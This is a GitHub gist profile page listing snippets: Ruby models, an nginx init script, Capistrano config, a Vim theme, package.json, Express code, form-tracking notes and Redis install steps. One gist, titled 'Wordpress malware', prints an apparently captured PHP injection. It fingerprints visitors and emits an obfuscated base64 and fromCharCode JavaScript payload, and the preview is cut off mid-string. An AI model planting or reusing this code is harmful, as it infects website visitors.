Skip to content

Instantly share code, notes, and snippets.

View arnklint's full-sized avatar
😀
writing status

Jonas Arnklint arnklint

😀
writing status
View GitHub Profile
# /app/models/customer_rep.rb
class CustomerRep
attr_reader :name, :customer_id
def initialize( obj )
@name = obj.name
@customer_id = obj.id
end
end
# /app/models/customer.rb
@arnklint
arnklint / nginx
Created December 29, 2011 20:12
NGinX startup script
#! /bin/sh
### BEGIN INIT INFO
# Provides: nginx
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: nginx init.d script for Ubuntu 8.10 and lesser versions.
# Description: nginx init.d script for Ubuntu 8.10 and lesser versions.
### END INIT INFO
@arnklint
arnklint / deploy.rb
Created December 30, 2011 16:39 — forked from mrrooijen/deploy.rb
Capistrano with Foreman Capfile
# encoding: utf-8
$:.unshift(File.expand_path('./lib', ENV['rvm_path']))
require 'rvm/capistrano'
set :application, "hirefireapp"
set :repository, "git@codeplane.com:meskyanichi/myapp.git"
set :branch, "develop"
set :rvm_ruby_string, "1.9.2"
@arnklint
arnklint / madeofcode.vim
Created January 29, 2012 21:25 — forked from joshmvandercom/madeofcode.vim
Port of Made of Code Theme to VIM
" Port of my favorite theme Made of Code by Mark Dodwell
" For Textmate Theme visit - http://madeofcode.com/posts/29-photo-my-new-textmate-theme-8220-made-of-code-8221-mdash-download-9-feb-2010-update-t
" Vim color file
set background=dark
highlight clear
if exists("syntax_on")
syntax reset
@arnklint
arnklint / package.json
Created April 25, 2012 21:27
package.json
{
"name": "best-practices",
"description": "A package using versioning best-practices",
"author": "Jonas Arnklint <jonas.a@revrise.com>",
"dependencies": {
"colors": "0.x.x",
"express": "2.3.x",
"optimist": "0.2.x"
},
"devDependencies": {
@arnklint
arnklint / gist:3104923
Created July 13, 2012 13:37
Wordpress malware
$ip=$_SERVER["REMOTE_ADDR"];$dr=$_SERVER["DOCUMENT_ROOT"];$ua = $_SERVER['HTTP_USER_AGENT'];$dbf=$dr.'/'.md5($dr);
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){
error_reporting(0);
echo(base64_decode('PHNjcmlwdD50cnl7cHJvdG90eXBlJTI7fWNhdGNoKGFzZCl7eD0yO30gaT0yLTI7dHJ5e3Byb3RvdHlwZSo1O31jYXRjaCh6KXtmcj0iZnJvbUNoYXIiO2Y9WzcyLDgxLDg0MCw5MTgsMjU2LDM2MCw4MDAsOTk5LDc5MiwxMDUzLDg3Miw5MDksODgwLDEwNDQsMzY4LDkyNyw4MDgsMTA0NCw1NTIsOTcyLDgwOCw5ODEsODA4LDk5MCw5MjgsMTAzNSw1MjgsMTA4OSw2NzIsODczLDgyNCw3MDIsNzc2LDk4MSw4MDgsMzYwLDMxMiw4ODIsODg4LDkwMCw5NjgsMzUxLDMyOCw4MTksMzg0LDgzNywzMjgsMTEwNywxMDQsODEsNzIsODEsODQwLDkxOCw5MTIsODczLDg3Miw5MDksOTEyLDM2MCwzMjgsNTMxLDEwNCw4MSw3MiwxMTI1LDI1Niw5MDksODY0LDEwMzUsODA4LDI4OCw5ODQsMTE3LDcyLDgxLDcyLDkwMCw4ODgsODkxLDkzNiw5ODEsODA4LDk5MCw5MjgsNDE0LDk1MiwxMDI2LDg0MCwxMDQ0LDgwOCwzNjAsMjcyLDU0MCw4NDAsOTE4LDkxMiw4NzMsODcyLDkwOSwyNTYsMTAzNSw5MTIsODkxLDQ4OCwzNTEsODMyLDEwNDQsOTI4LDEwMDgsNDY
@arnklint
arnklint / express-app.coffee
Created December 4, 2012 10:59 — forked from dangerbell/express-app.coffee
Example code for Node Testing with Mocha, SuperTest, and Nock
express = require 'express'
app = express();
# Configure
require('./config')(app)
# Routes
require('./routes')(app)
module.exports = app
@arnklint
arnklint / Form-abandonment-tracking.md
Created December 6, 2012 08:02
How to track form abandonment with RevRise Form Analytics

Simple and brief introduction to new customers of RevRise Form Analytics

Start tracking form abandonment

1. Copy paste the code

Copy paste the following code to the bottom of all the pages on the site(s) you want to track. Place it just before </body>.

2. Define your web forms

You need to define the forms that you want to measure with the attribute data-rr-name="form-name".

@arnklint
arnklint / track-form-abandonment.md
Last active December 18, 2017 18:57
Track Form Abandonment in Google Analytics in five rows of javascript

Put this code on the page where the form you want to track resides. Some other examples are currently passed around the web with varying quality. This is one that will work as long as your form tag has an id= or name attribute.

You don´t have to change this code to be able to track form abandonment in your shopping cart, order form or whatever form you want.

This sends events to Google Analytics when a user focuses somewhere not in a field after having focused on a input field. You won´t know for how long users focused on respective fields, or the actual conversion rate in the form using this, but it might be a start.

A tool that provides more insight both over time and per field, is Form Analytics wich helps you optimize your online forms. For instance, it measures dropout rate, average field input length, conversion rate and average time per field. All which provides great insights in the most overlooked, yet important part of you site.

Anyway, here´s the code:

@arnklint
arnklint / gist:4280762
Created December 13, 2012 22:43
Installing Redis on ubuntu
# I needed to install tcl8.5 to run the tests: sudo apt-get install tcl8.5
# download and unpack the sources (see http://redis.io/download for the latest stable version)
wget http://redis.googlecode.com/files/redis-2.4.5.tar.gz
tar -zxvf redis-2.4.5.tar.gz
# build
cd redis-2.4.5/
make